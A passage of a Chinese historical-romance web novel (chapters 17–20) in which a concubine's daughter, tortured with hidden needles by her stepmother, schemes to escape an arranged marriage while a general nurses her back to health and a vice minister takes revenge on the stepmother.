苏夫人骂骂咧咧半日，仍嫌不解恨，端起酒壶掀盖浇了苏绾一头，边倒边骂：“还敢装死？给我醒来，你的命且长，我要亲眼看着你，被我折磨凌辱，教你后悔活在这世上。”
丝丝缕缕的凉酒唤醒苏绾，绵薄意识渐渐有了回音，平静水面荡开层层叠叠涟漪。
苏绾睁开眼睛，“恶魔”半跪膝间，一手掐腰，一手举酒壶，正对她露出恐怖的笑容。
噩梦仍在继续。
那副狰狞模样，苏绾见过不止一次。娘亲被命令投湖，牢笼荆棘刺得浑身是血；她被苏沅芷诬陷盗窃财物，街头拉扯不清卖给行院。“恶魔”顶着同样可怖的面孔，咧嘴迤迤然地笑着。
不行，绝不能跌倒两次。否则这漫漫万古长夜，难有黎明破晓之时。
苏绾极力瞬目，示意对方她有话要说。
正巧苏夫人也骂累了，吩咐婆子撤掉口中绢帕，“小婊子，胆敢耍花样，再多扎两针。”
苏绾终于得到喘息机会，大口大口呼吸，清冷空气钻入肺腑，冲淡针刺砭骨的痛楚。
苏夫人坐回座椅，全身卸力般软塌，哼着鼻子道：“别妄想告状揭发，你没有证据，既不能证明我陷害你，亦无法自证被针扎。今日这份委屈，留着跟阎王爷诉苦罢。”
“女儿不敢。”
苏绾坐起身，梨花带雨，“女儿知错了，再不敢忤逆母亲。”
小杂种总算投降认输，向她跪地求饶，苏夫人内心狂喜，面上冰山不动，低垂着眼，“早干嘛去了？现在知道错了。针尖扎进肉里才晓得疼，忒迟了，再没有硬挤出来的道理。”
苏绾屈身跪伏，两肘支撑，
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泪珠大颗大颗滴落，“女儿不求洗清罪孽，也不敢奢望母亲宽恕。这是女儿应受的惩罚，女儿心甘情愿。”
“只求母亲再给一次机会，从此洗心革面，重新做人。”
苏夫人白胖的手掌，轻轻拍打椅臂。辛苦筹谋多时，再没有比这一刻更加舒爽的时候。
她琢磨着，再怼上几句难听话，把八百年前失守的耻辱一并抛还。可她眼珠滴溜溜转，搜肠刮肚无言以对——詈言穷尽，她竟找不出什么新意。
见苏夫人久久不回复，苏绾急着叩首，“女儿愿亲笔修书一封，递与温侍郎，从此得作良人身。以求母亲宽心，再无忌惮。”
“你说什么？”
苏夫人心头一震，扶着椅臂坐正身子，“你少忽悠我，父母之命，媒妁之言，岂容儿戏？”
苏绾辩解道：“女儿惹出这等麻烦，已是无脸再见温侍郎，哪里还敢奢望婚嫁？想必温家亦起了退婚的心思。眼前这等态势，不如我主动提出悔婚，省得母亲被他拿住把柄，折损苏家颜面。”
苏夫人抬眼睥着她，“你会有这般好心？巴不得早日远离这家门罢。”
苏绾跪得腿软，强撑着坐起身，面色苍白，“女儿如今等于半个废人，即便温侍郎不在意我留有案底，日后强嫁过去，女儿也是有心无力，撑不起正头夫人的名头。不堪花花草草烦扰，三年五载归西。”
“青灯古佛陪伴一生，也好过薄命朱门。吃斋念佛，无欲无求，兴许还有长命的念想。”
苏夫人转了转眼珠，她虽不信任庶女，但此行未尝不可。按照苏绾所说，让她亲自修书悔婚，全凭她自愿，温家即便不同意，也跟苏夫人没得干系。
况且，苏夫人心里还另有打算，她的沅儿，其实更适合做温侍郎的正妻。虽然面相有些残，以嫡女换庶女，再没有比这更划算的买卖，温家怎会拒绝送上门的好意？
思来想去，苏夫人眼一横，“就依你所言，即刻修书悔婚，不得耽搁。”
苏绾湿巾擦拭干净身体，整理鬓妆，换上衣裙，婆子撤去红绫，一切恢复如初。苏绾向狱卒要来笔墨纸砚，坐在案边，一笔一划写《悔婚书》。
“苏女绾，闹市行骗，犯欺诈罪。绾自知罪孽深重，无颜嫁与温家作媳，自愿悔除婚约，婚期取缔，所有彩礼悉数退还。”
顷刻书就一式两份，末尾签字画押，当众诵读一遍，折叠以蜡封存。
狱卒听得如此，悄悄退出监牢，向书房方向奔去。
苏绾双手递书给苏夫人，“母亲放心，今日所发生之事，女儿绝不会走漏半点风声。愿以一颗赤诚丹心，换取后半生苟且。”
苏夫人喜滋滋将书信送入袖内，这趟赢得畅快彻底。可作为百年后谈资，与人津津乐道，巾帼不让须眉之大举。
“你给我老实点，我会一直盯着你。”
苏夫人带领俩婆子，提着紫檀食盒，一路春风得意返还归府。
目送“恶魔”启门离去，苏绾倚靠铁栅栏，望着门外碧空素云惆怅，春风落尽花。
这破锣身子，不知能否撑到明天。
忽然眼前一暗，黑墙般身影云底闪出，结结实实遮挡光阴。
耳畔响起再熟悉不过的讥讽，“啧啧，三千两换一纸悔婚，凭你这猪脑子，还想算计别人。”
苏绾强挤笑容，“不然呢？挡不住黑心债主狮子大开口，奴家只能做取舍。”
男人嘴角一斜，欲再辩驳几番，话未出口，却见那朵柔云慢慢堕落，化作一湖春水，在他心里荡开层层涟漪。
18. 老道
金绡轻曼，墨香自闻，缥缃琴上阁。本是舞文弄墨，堪比沙场烽火，怎得席上美人卧。
时枫负着手，浓眉紧蹙，听隋太医絮絮叨叨，“夫人脉象凶险，涣散不收，浮而无根，至数不清。主元气涣散。为阳虚不敛，气血耗散，脏腑精气衰竭……”
“说重点。”男人渐渐失去耐心。
隋太医掏出手帕，擦拭额首细汗，“表散脉，内涩脉，下官一时难以定论……”
“你不是太医院的吏目？连诊脉都办不到，不如请早辞官归乡。”男人冷冷道。
也不怪隋太医诊断不出，苏绾体内植入七根银针，分散游走筋络之间，互相扰乱脉象。不知情之人，纵然扁鹊再世，亦难论断。
按律制，隋太医供职太医院，专门伺候皇城内的皇亲国戚。眼前却被半要挟半邀请至大理寺，给一平民女子看诊，行径十分荒唐，离经叛道。
而最不能忍受的，隋太医从业一十八载，竟看不出女子病理端倪。
老脸不能丢，隋太医心一横，胡诌道：“夫人脉象虚浮，实则并无大碍，不过是累了些，休息两日即可。下官方才不敢论断，只因吏目职责在身，不好妄断虚言，须谨慎处之。”
时枫全然不信他的胡诌八扯，他四处拉关系找到太医院，强行请出吏目为苏绾看诊，谁知请来一位“全不知先生”。
即便对医术一窍不通的人，也能看出来不对劲。她浑身冷汗涔涔，身体微微颤抖，额头发着高烧，时不时地冒胡话，任凭人捶打呼唤，却怎么都叫不醒。
时枫懒得再与隋太医掰扯，“两日之后，如果她还不醒，本将军亲自上太医院，绑了你来给我当面解释。滚！”
他伸手一挥，遣散一干人等，独自守在塌前。
这疯婆娘，自作自受。
谁让她总跟他过不去，挖空心思算计他。他不过小施惩戒，叫她尝尝招惹他的滋味。可不知怎的，他并没有打完胜仗的畅快感，反而感到无边烦闷。这份烦扰，像爬山虎的藤蔓，弯弯绕绕，沟沟回回，坠得他的心，七上八下的乱。
她有什么错？
经过前番几次纠缠，他已经彻底摸清她的底细。娼妓一说毫无来由，全由一场误会。她本是贱妾庶女出身，少不了遭遇关于这方面的猜忌或谩骂。
春月坊一案，她扮作花娘骗了他三千两，只为拿回娘亲的遗物，一文钱都没落入自己钱袋。西街口一案，她又乔装算命先生，虽有敛财嫌疑，然而百姓很崇拜她，将她视为在世神仙。
所作所为，不过是想挣点嫁妆而已。手段虽肮脏了些，但也无伤大雅。可她却以一纸悔婚书，断送后半生的指望。没了温侍郎的庇佑，对于贱妾庶女出身的她来说，值得吗？
男人负在身后的手掌，青筋暴起，十指用力弯曲，似在发泄胸中愤懑。
“爷，属下找来救星了！”
忽然门外风风火火窜入侍卫晴雷，他一身狼狈相，曳撒袍子皱皱巴巴，袍角坠着泥点子。
为争取时间，时枫和晴雷分两路行动：时枫上太医院绑来了隋太医，晴雷则去京城寻访当地名医。二人打着同样的借口幌子：世子爷的小妾突发怪疾，昏睡不醒，寻医急救。
少年两步跨上前，兴奋难捺，“属下此去京城地下鬼城打探，不期而遇救世老神仙，传说医仙扁鹊下凡。然而属下求了他半天，老神仙不为所动。就在属下绝望临走之际，老神仙忽然又同意看诊了，属下赶紧请他来了，此刻就在门外等候。”
时枫犹豫一瞬，也未再细想，连忙请人进门。不多时，进来一位乞丐老道，鬓发须白凌乱，道袍衣衫褴褛，浑身臭不可闻。
时枫蹙了蹙眉，正要质询老道来历，谁知那老道伸手一挡，“施主莫要多言，先让贫道切脉。”
时枫咬了咬牙，侧身让路给老道。
待老道坐定，二指切苏绾的脉门，不消几回合，神色愈加凝重。
“怎样？”时枫迫不及待问道。
老道摇摇头，叹口气，半晌不语。
又来了位庸医，时枫刚想破口大骂。
“此女命运不济，恐遭人陷害，须逼出体内七根银针。其六根位于体表浅层，尚且容易挖出，余一根刺中肺穴，药物不可驱之，唯有刁钻法子。准备七两曼陀罗花，一瓮煮沸烈酒，再找一把锋利的匕首。”
寥寥数语，在男人心里炸开锅。
七根……银针？
狗日的，他被苏家摆了一道。
然而老道不给他警醒忏悔的机会，干枯手掌攥住时枫的手腕，“既是你的小妾，想必你对她情深意重，我这刁钻法子，须你亲自动手实施，你可愿意？”
男人凤眸沉了沉。
「
浮生若梦，梦回前世。秋杯浸菊花，黄叶殿前霜，乍暖还寒，最难将息。
温宅大宴宾客，庆贺温如初新近入阁，普天同庆，京城权贵悉数在席，场面热闹非凡。
唯有时枫，因性子孤僻，素来厌烦交际，一个人躲进庭院凉亭，看庭前落英缤纷，默默举杯自饮。
忽然一抹倩影，罗裙翩跹，飘然映入眼帘。
时枫瞥了一眼，“温夫人，恭喜。”
“啊！”苏绾吓了一跳。
回眸望去，认出时枫来，她抖了抖单薄身体，强作镇定，端袖福身道：“见过时将军。”
态度矜持而陌生，全然不似认出救命恩人的模样。
自那日落水之后，时枫一直未得再次见她。他派人四处打听，然而反馈的消息，却是晴天霹雳。
他不相信，那些荒唐至极的举动，出于她自愿。
时枫掀眸睇向苏绾，似一瓣破败残花，萧萧肃肃，夹杂廊柱缝隙，苟延残喘。心中顿时升起无限怜爱，不断弥漫扩大，紧紧包裹住那份想要庇护她的心情。
苏绾起身想走，却被时枫叫住：“他，有没有为难你？”
苏绾身子颤了颤，面容悲戚惨淡，停了一息，咬牙道：“夫君对我恩爱有加，我不知将军在说什么。”转身急急走了，唯恐被人看见。
目送那抹倩影消失于长廊边缘，剩下时枫独自迎风嗟叹。
这朵鲜亮的花儿，如果交到他手里，必不至落得这般凄凉。
待那抹身影拐过廊角，时枫听到一声训斥，与低低啜泣。
“绾绾，你竟敢背着我，偷跑出来与男人私会！”
」
心中苦楚汇聚，又骤然爆发，打破白日长梦。
“爷，你醒了。属下去叫老神仙来。”晴雷守候时枫多时，见他已苏醒，一颗悬着的心，总算放下来。
不知是做梦的缘故，还是什么别的原因，令时枫感到心脏钻心地疼。他捂住胸膛，咳嗽几声，强行坐起身，盘膝打坐调息。
梦里因缘际会，令人唏嘘叹息。
她错在认识他罢。
“施主感觉如何？”老道弓着腰，背着手跨进门。
时枫瞥了老道一眼，“她怎么样？”
老道捋了捋参差不齐的花白胡须，摇头晃脑道：“经由贫道之手，拯救的灵魂千千万，却没有一条失败见阎王。然而此番胜负关键，皆在于刁钻法子，若那凶险一针不取，纵是医仙扁鹊再试，亦是枉然。施主对小妾一往情深，尽在这一针之下。”
见
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苏绾脱离危险，时枫终是松口气，不枉费他豁出性命赔偿她。
吩咐晴雷为他穿上袍子，时枫站起身，对着老道鞠了一躬，“老神仙救命之恩，晚生感恩不尽。”
“冷面阎罗”竟然给老乞丐道士鞠躬，唬得晴雷虎躯一震。
然那老道显然见过世面，身子骨挺笔直，捻须笑道：“莫说什么感恩，贫道还人情罢了。”
原来两年前，老道在鬼市同人打赌，输了精光。恰巧那人干得是山匪勾当，见老道身无半文，付不起赌资，抓去郊外山寨做奴隶抵命。
老道倒也坦然认栽。然天无绝人之路，半路杀出位铁血将军，一把金枪在手，叱咤风云，捣毁半座山寨，救出老道，顺便给了他一点盘缠防身。
老道感激涕零，问及将军姓名，方知是绥靖王世子时樾。自此，二人各走天涯路，老道将他的恩情铭记在心。
逢晴雷鬼市打探名医，起先老道并不愿挨官家的边，待晴雷报上自家主子来历，老道方知委托人是时樾将军的胞弟，这才同意上门问诊。
“时樾为何在山寨？”时枫不解。
老道掸了掸破旧补丁道袍，“贫道不得而知，许是有何恩怨。那山匪头目依旧坐镇山寨，你自己去问就是。”
他的哥哥时樾身为戍边将军，一身凛然正气，绝不会同烧杀掳掠的山匪打交道，必是深入调查敌情，收集线索。看来，他有必要抽空去趟郊外的山寨，打探情况。
老道站起身，“贫道半生心愿已了，施主就此别过罢。”
忽然，手一伸，“喏，三千两出诊费，拿来。”
时枫牛眼瞪老大，“什么三千两？哪来的出诊费？”
旁边晴雷哆哆嗦嗦道：“属下忘了跟爷禀告，当初请老神仙出山，开口叫价白银三千，属下急着回来给爷复命，没想太多一口答应了他......”
时枫闻言怒发冲冠，指着老道斥道：“你不是来报恩的吗？怎还有脸跟我伸手要钱！”
老道食指捻了捻花白胡须，狡黠道：“非也非也。贫道所谓报恩，是答应出诊。至于出诊费，则需另算，这是两笔账。再说，给你用的那项刁钻法子，属于贫道慷慨赠送，若非有我青囊之术，你的小妾必肠穿肚烂而亡。你该铭记贫道这份恩情。”
“你这老泥鳅！”
时枫咬了咬后槽牙，拳头攥得死死，然而僵持半日，终是放不开面子，乖乖付钱打发老道了事。
晴雷自知理亏，心虚地建议道：“爷判苏姑娘的案子，不是有三千的罚金，正好拿来顶这笔亏空。”
一语既出，差点烧了时枫的眉毛，将他气个半死，脚踹晴雷的屁股，喝道：“你个狗奴才长没长脑子？我辛辛苦苦花钱救她的命，回头却让她自付医药费，我还算是个男人么？”
晴雷哭丧着脸，捂着屁股嘶哈嘶哈喊疼，“那爷说说怎么办嘛，咱们回京半年不到，账面花钱如流水，回头老爷来信过问，叫属下如何回复？”
最近是有些捉襟见肘，不止账面上的花销，他要探察消息，也需银两打点。须得找个冤大头，填补亏空。
时枫低头思了一瞬，吩咐道：“叫邵云礼洗干净屁股早点开工，本将军没空给他守大理寺家门。”
晴雷见不再挨骂，赶紧回道：“遵命。”
转身欲走，又被时枫叫住，口气忽然放软，“让厨房熬煮一锅白粥，要软烂细腻不弹牙。仔细挑拣，不得有半粒稻壳杂质。”
晴雷瞬目，“爷想吃点清淡的？属下让醉仙楼送点下酒小菜，拌着白粥吃，最解火气。”
时枫牛眼一瞪，“叫你干啥就干啥，少废话。”
19. 销案
晴雷随邵云礼返回大理寺时，已是纱窗日落渐黄昏。二人进入书房一看，不得了，这是怎样的奇观异景。
屋内乱糟糟，地上俩人守着一锅倾覆的稀粥，满脸迷茫，不知所措。床边一人双手奉瓷碗，内盛装熬煮软烂白粥，战战兢兢，如履薄冰。
塌床坐着京卫指挥使，怀里抱着晕厥美人，左手臂搂住脖颈，右手捏着汤匙，额首大汗淋漓，眉头拧成一团糟。
“苏绾，本将军命令你，必须吃下这一勺。否则、否则，债务翻倍！你可听见？”
美人双目紧阖，娥眉微蹙，不知是装的，还是怎样，无论如何都撬不开嘴。
他奶奶的，他在漠南攻打鞑靼可汗的时候，都没这般耗费心力。胸口积聚一团怒火，又无处发泄，只好拿调羹出气，手心用力一握，狠狠捏成碎矶。
“哎呦，光天化日，朗朗乾坤，堂堂三品指挥使，竟敢当众意图谋杀。”
邵云礼夸张的语气传进时枫耳朵，他抬头抱怨道：“偌大一座大理寺衙门，就没点趁手的餐具？没一件能用的。”
邵云礼点头道：“杀人的确不趁手，不如换个物件，保证好用。”
时枫眼睛一亮，“何物？还不快拿出来。”
邵云礼手指着他，“用你的嘴，一口一口喂给她，自然就吃进去。”
屋内众人皆想笑又不敢笑，捂着嘴巴拼命憋气。
邵云礼笑道：“并非我信口开河，禽鸟衔食哺育雏鸟，不也是嘴对嘴？”
“滚你丫的，我又不是鸟。”
时枫狠狠瞪他一眼，一声不响扔掉手里的碎勺，却不肯放开箍着苏绾的手臂。
他将苏绾搂在怀里，细心捋顺乌发，又从腰间扯下松花汗巾，轻轻擦拭唇际沾染的米粒。
动作轻柔缓慢，充满浓情蜜意，生怕粗手粗脚弄疼她，看得众人目瞪口呆。这可还是那位令人闻风丧胆的“冷面阎罗”？
邵云礼憋笑都快憋死了，他两手叉腰，笑不拢嘴道：“你叫我过来，就是为了看你喂饭啊？”
出乎意料地，时枫这次并没有回嘴，正色道：“叫你回来，是为此事画上句点。”
邵云礼见他要商量正事，乃屏退左右，留下晴雷服侍。三人从前在西北时，彼此相处亲密无间。
来时的路上，晴雷已将苏绾被苏家暗害扎针的事件，如实禀告给邵云礼，听得大理寺卿眉头紧锁。在他所辖范围内，竟然生出如此恶毒阴狠的案子，令人惊愕之余，又慨叹苏绾命运多舛。
“这位苏二小姐所牵涉的案件，不仅仅是谋财害命这么简单吧？你想如何处理此案？大事化小并非难事，问题是，她当真无辜吗？”
时枫不假思索答道：“谋财自当论不上，害命更加无稽之谈。市井之地，招摇撞骗者多如牛毛，何尝多她一个？王老板的死，跟她没有任何关系。那撞死人的马车车主，早已供认自己饲料没喂足，马儿见了卖苞谷的摊子，不听指挥脱缰发狂急奔，这才撞死王老板一家。”
他停顿一下，继续说道：“我不要她无罪释放，平白留下案底。我要彻底销案，对外一致口风，这件案子，自始至终就没有发生过。”
邵云礼嘴角上扬，故意逗弄他，“人家一开始就这样喊冤，是谁不分皂白，扯着脖子非要缉拿归案，如今又要彻底销案。集市几百双眼睛可都看见，你抱着人家又亲又啃。”
提及那个吻，时枫顿时面皮微热，恼道：“让你销了苏绾的案底，跟我临街亲人有何关系？”
“怎么没有关系？我早说过，她是温侍郎的人。你这样强取豪夺，明摆着跟温侍郎争，小心他翻脸无情，而你终究一败涂地。”对方食古不化，令邵云礼这个“过来人”有些捉急。
时枫闻言一顿，理智上，他从未想过要跟别人争她，但情感上，他又不想立刻投降认输。
“我的事不用你管。”憋了半天，吐出一句话。
“你的事我管不着，她的事，本官恰巧能管一点。”邵云礼建议道：“依我看，也不必销罪。从她身上取出的那几根针，就是苏家迫害她的累累罪证，反手告他一个虐待子女罪，将苏家赶尽杀绝。回头你不必再争名夺利，她自然会倾向你这边。”
“不，银针的事，我自有安排，暂不打算告发苏家。”他心里盘算着另一桩买卖，很重要。
“你又不告她，也不告苏家，那你所谓的正事，就为给她销案？合着我这大理寺的门槛，随你来去自如。”邵云礼气恼道。
“非也，非也。”时枫自怀里掏出一张凭证，“正事在此。你辖内府衙发生故意伤人事件，我替你召了大夫诊治，今病人已得救。此为诊费凭证，呈与你报销。”
邵云礼嘟嘟囔囔，“我就说你小子急着叫我来，准没好事情，果然，在这等着我呢。”他接过凭证，打眼望去，瞬时瞪圆了眼，“三千？滚你丫的，当我开的是钱庄么？要多少有多少？没门！”
时枫背手仰头，得意道：“人，是在你的地盘出的事，睁大眼睛看看，凭证上面清清楚楚地写着：‘大理寺医治病患一名，费用三千两’，你甭想赖账。”
邵云礼盯着那张纸头左看右看，果然有以上字样，心想：这小子憋着坏，早就算计好敲他竹杠。恨只恨他们兵营兄弟一场，自己还欠着他俩兄弟一条命的人情未还，打碎牙齿咽进肚里，心甘情愿被他敲诈。
“我也不白挣你的钱，最近我想去郊外爬山散心，缺少盘缠打点地头蛇。”时枫忽然沉声道。
他这一语道破天机，邵云礼立刻有所警觉，“无缘无故，你会那土匪头子作甚？”
时枫将老道所言，一五一十讲给邵云礼听，听得邵云礼神色愈加凝重。
他大时樾两岁，常常以兄长自居，但时樾根本不把他放在眼里。两年前，时樾遭逢匈奴埋伏，含恨而死，是他不远千里亲自去漠北验尸。
邵云礼仔细排查现场周遭，凭借丰富断案经验，他笃定时樾遭人陷害。他将这个想法告诉时枫，这才引起时枫的怀疑，发誓要查明真相，替哥哥报仇。
时枫调任京卫指挥使一职，还是邵云礼以大理寺卿职位出面担保，牵线搭桥，打通兵部和锦衣卫，这才如愿以偿。
拿钱查探山匪，才是时枫要谈的正事。
“狗日的，”邵云礼小心收好凭证，无奈叹道：“能拿捏你的人，总算出现了。”他掸去青色外袍浮尘，“就依你所言，销案。”边说边起身，“若温侍郎过问，我来应付便是。”
他招呼晴雷，“走，咱爷俩喝两盅去。”
晴雷望了一眼主子，见他正搭着一条腿坐在塌边，凝望美人发愣，晴雷耸耸肩，跟随邵云礼脚步趸出门去。
*
清月出岭，微光入扉，薄纱满地银。塌上美人躺卧，芳逾散麝，色茂开莲，蛟绡雾縠笼香雪。月光映照，冰雪肌肤晶莹剔透，吹弹可破。
她倒是睡得酣畅。
男人莫名感到口干舌燥，转身寻了一海茶碗牛饮。凉爽清茶浇灭心中升腾的火气，却又燃起另一层焦虑。
自从被他掳进大理寺，已过去将近五日，疯婆娘一直不肯吃饭。虽说中途苏夫人煞有介事提来食盒，但在那场惊心动魄的争斗中，苏绾未必吃得下鸿门宴。白日里他突发奇想，灌点米粥给她，至少能缓解燃眉之急，谁知又死活撬不开嘴。
望着佳人如玉面庞，男人负在身后的双手屈了屈，也许邵云礼说的话有道理。
叫厨房重新热了那碗白粥，瓷碗端在手里，男人迟迟没有下一步动作。
不如先空嘴试探，万一还是不行，至少不会弄脏她的脸。
男人放下瓷碗，侧坐美人身旁，左右比划几下，感觉姿势有点别扭。
倏地站起身，伸展腿脚，扎个马步，气沉丹田。捡起茶碗，将剩余茶水一饮而尽，长舒一口气。
老子才不是软怂。
男人更换姿势，跪伏上方，手肘撑在两边，低头看去，洁白如玉的额首，小巧俊俏的鼻梁，红润晶莹的唇瓣。
“苏绾，我是为你好……”
话从口出，却带着几分心虚，连他自己也想不通，究竟是真心为她，还是夹杂着别的什么情思。
唯有一点确定，他对即将来临的亲密接触，充满期待。
男人低下头，凑近樱红唇瓣，轻轻嘬了一下。像触摸熟睡的鸟，带着微微的颤抖，还有暖暖的温度。舔舔嘴际，淡淡的甜蜜味道。
这种感觉并不陌生，前几日天桥下，他已有所品尝。以至于之后，夜夜躺在塌床，回味那股甜津，余香缭绕，久久不能散去。
他渴望尝试更多。
男人俯下身，唇际相交，热烈深吻，忘记本来目的。
这次与天桥底下那一吻完全不同，佳人完全不动，也不反抗，香唇格外柔软。
他一点都不想停下来。
月光转过朱阁，洒落一双妙人，光辉耀如明星。那道犀利白光，渐
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渐扫过面颊，闪了苏绾的眼。
睁开眼，四目相对，双唇紧贴。
“啊——”一声尖叫划过夜空，惊起一树昏鸦。
“你、你、你……”美人惊坐起，指着男人，半天说不出话。
时枫被她这么一叫，浑身上下鸡皮疙瘩都拱起来，他慌忙去堵苏绾的嘴，“嘘，你不要叫，听我解释。”
苏绾惊恐万状，大大的眼睛注视着时枫，嘴巴被堵住，“呜呜”地低吟。
高大身影深深藏在夜幕里，像月下祭坛供奉的神像，月影遮掩羞红恼怒的脸皮。
他简直羞死臊死，恨不得化成朽木，烂死在这无人宁静的夜晚。
沉默半晌，时枫却一句话都解释不来。难道要他承认，自己是想喂她喝粥？如此愚蠢白目的理由，他无论如何也说不出口。
时间停滞不前，长夜像蔓延嵌沟的网，牢牢裹住二人，融为一体。
“不过亲一口，叫什么叫？”隔了半晌，男人终于放开手，冷冷道，“大不了，三千两不用还了，如何？”
三千抵一吻，搁谁都挡不住诱惑。这可是时枫冥思苦想，挖空脑子才想出来的解决办法。
“真的？我不信。”苏绾迷迷糊糊听说债务免除，星眸闪烁惊喜光芒。
男人嘴角微微上扬，邀功似的得意，“不止如此，案底已销，悔婚书作废。”
“你说什么？！”苏绾的笑容几乎僵硬在脸上，悔婚书作废，那她狱中垂死挣扎为哪般？
敏锐的鹰眼捕捉到她的微妙表情变化，然而却抓错重点，“怎么，你喜欢坐大牢？没机会了，监狱里不养闲人，今晚你就得出狱。”
低首冷笑一声，“哼，可惜，本将军得到线报，你的那份悔婚书，早在作废前就递至温如初的书桌上，他要不要你，还难说。”
果然还是递出去了。
悔婚书不会起任何决定性作用，无论销案与否。只要骗过苏夫人，亲手交给温如初，她的计划就算成功。
苏绾按捺住心中喜悦，淡淡回了一个字：“哦。”
她的这份荣辱不惊的怡然，四两拨千斤的沉稳，刺了时枫的眼。他预备了一整夜的阴谋诡计，想要看她感恩戴德的模样，却只得到预期截然相反的结果。
岂有此理。
凤眸瞬间晦暗，男人停了一息，语气冰冷，“那些针，藏在饭菜里？”
“嗯？”苏绾瞬间石化。
终于得到预料中的反应，男人满意地翘了翘唇尾，“你不是神机妙算，算尽天下机关的神算子？怎就反手被人扎成刺猬？”
煞有介事地摇摇头，“啧啧，败得真是难堪啊。”
苏绾下意识地摸摸胸口，果然隐隐约约有些刺痛，方才光顾着打听悔婚书的下落，根本没回想起苏夫人扎针这码子事。
但她此刻也拿不准对方的意图：究竟是想帮她，还是想害她？
只好故作镇定，“将军既知我被人陷害，何不替我作证，助我揭发检举苏家的虐行，也算替天行道。”
男人闻之一笑，“你想求我庇护你，呵。”
俯下身，凤眸一沉，“我偏不。”
复又挺立，觑着佳人，意味深长道：“天下哪有免费的午餐。”
她就知道，他没安好心。
苏绾被对方的喜怒无常击昏头脑，懒得再去求他，没好气似的道：“将军既然不肯出手，奴家不必多说，这就送我回去吧。”
她卸下心防，男人反倒急躁起来，“送你回去？你算个什么东西，要本将军亲自护送？不可能。你就待在这里，一步也不许离开。”
男人眼眸有意无意瞥了一眼案上的白粥。
走也不行，不走也不行。苏绾被他搅得心烦，假装劳累躺倒，闭上眼睛假寐。
忽然灵台一闪，心生一计，睁开眼睛质问：“虽然但是，你干嘛亲我？”
“我……”
男人略微惊讶，兜兜转转又绕回初始话题。可他仍旧找不到合适的理由，只好继续杵在漆黑的夜，站成青苔铺满的石像。
苏绾瞧见那碗白粥，霎时恍然大悟——总不见得是为侵犯她。
眼见他一副被拿捏的样子，苏绾眼珠转了转，狡黠道：“说好三千抵消，可不许耍赖。”
果然，男人嘴角上扬，“那要先喝了这碗粥才算。”
明月如洗，抛洒满地碎银。清风穿堂，吹尽人间一两风，填满十万八千梦。
20. 送归
这日清晨大早，苏夫人打扮整齐，穿命妇服，坐轿子上户部衙署面见温侍郎。
彼时温如初正坐在堂前，撰写《论一条鞭法全国普及要点》，忽见苏夫人登门拜访，表情略微诧异。
待闻得苏夫人来意，瞧见苏绾亲笔所写《悔婚书》，温如初眼眸瞬间冷了一层，“岳母所言差矣，莫说绾绾不过顽皮了些，就算她真的犯下逆天罪行，小婿也还禁受得住，哪里就到悔婚地步？别不是受人威胁，不得已而为之罢。”
苏夫人素知他不好对付，连忙赔笑道：“哪敢，全凭她自愿，没人强迫她。我那女儿心气比天高，是她自己心里过不去那道坎儿。闹出天大的笑话，她也没脸再与你结缘，遂打起退堂鼓。”
温如初将信纸揉搓一团，丢入废纸篓，冷冷道：“小婿当日与苏家商量妥当，以我温侍郎的面子，买殷布政使的面子，这门婚事亦非由一人决定。她说悔婚就悔婚，敢问苏家长辈是何态度？”
苏夫人一早算到他不会轻易接受，丹凤眼珠转了转，讪笑道：“苏温两家联姻，早已报上朝廷，满京城皆知。不可能说销就销，空落人笑柄。眼下二女儿不愿意嫁不要紧，我还有位大女儿待字闺中，摽梅之年，才色俱佳。你二人门当户对，比翼齐飞，保准传为美谈。”
话音刚落，只听“啪”的一声，砚台骤然落地，碎裂两半，震碎满地烟尘，吓得苏夫人跺脚直呼“阿弥陀佛”。
温如初拂了拂袍子浮灰，冷眼道：“悔除婚约，替换新娘？亏你这老货想得出来。”
素来温文尔雅的温侍郎，竟然对人恶言相向，简直滑天下之大稽！苏夫人惊愕道：“你可知道自己说了什么？对长辈大不敬，你要遭天谴的。”
“按我熹律，若许嫁女，已报婚书及有私约，而辄悔者，笞杖五十。官员知法犯法，惩罚加三倍。”
温如初摆弄一杆狼毫，淡淡道：“倘若你捱受得起一百五十杖，大可以放手一搏试试。”
忽然眼眸一沉，杀机四射，“而我，将穷尽此生，与你为敌，直至斩尽杀绝。”
苏夫人闻言一颤，之前与温如初几次过招，让她自以为了解他的意图——所谓联姻，不过是一场政治利益交易。然而温如初露出獠牙，丝毫不肯退让，教她看不透彻。她不是已经双手奉上苏家嫡女，这明明是件光耀门楣的喜事。
苏夫人急道：“我的沅儿有什么不好？配不上你温如初？她一直钟情于你……”
“啪嚓”，手中狼毫一折两断，敢情户部衙门的文具，件件脆生不堪折。
温如初哂笑道：“你的沅儿国色天香，温某自知人微言轻，当然配不上她。自古王侯将相觅良婿，怎么着也得是位王君，才衬得起你苏家荣光。”
桃花眼眸一转，“苏君识有没有和你提过，最近有一位‘无上荣耀‘的王，派使者入京朝贡，以求取和亲？”
苏夫人隐约回忆，似乎好像有这样一回事，西藏吐蕃土司欲跟我朝交好，上书求娶东方公主。彼时她还嘲笑那位西藏土司“壮硕如熊、力可拔山”，天底下哪位公主愿意舍身嫁给一头畜生。
苏夫人惊道：“你、你什么意思？他和不和亲，与我何干？”
温如初笑道：“当然有关系。圣上命户部礼部办理跟进，拟选出身良好的贵族子女，作为秀女跟随公主远嫁西藏土司。我正愁天涯何处觅芳草，你看，这不就送上门来？”
苏夫人霎时吓得脸色惨白，世人皆知，和亲悲远嫁，出嫁公主非死即伤，下场惨淡苦楚，更不消说随嫁的秀女。温如初竟然要把她的孩子送去和亲随嫁，这不是要了她的老命么？
她颤抖着声音威胁道：“温念，你安的什么心？竟算计到我头上，你敢动沅儿一根手指，我叫你吃不了兜着走！”
温如初掀眸凉凉道：“天堂有路你不走，地狱无门自来投。”
苏夫人气急败坏，冲上前去欲掐死他，却被温如初一脚踹倒在地，“少在我面前耀武扬威，整日算计拿捏我，还敢厚着脸皮送悔婚书换新娘。收起你那些龌龊心思，苏绾，我非娶不可。”
“而苏沅芷，就是你惹怒我的代价！”温如初居高临下，眼眸侵染一层冷漠霜气。
苏夫人被他一脚踹中腹部，一口气差点没上来。她挣扎着想要爬起身跟他拼命，两眼昏黑匍匐一阵也没边际。苏夫人搬石头砸自己脚，顿感悲从中来，索性不爬了，坐在地上嚎啕大哭。
她从小娇生惯养，嫁到苏家也是颐指气使，哪里受过这种窝囊气。
温如初可不惯着她，挥手招来锦衣卫，七手八脚拖拽苏夫人扔出府衙。
“滚，我不想见你这张老脸皮。”
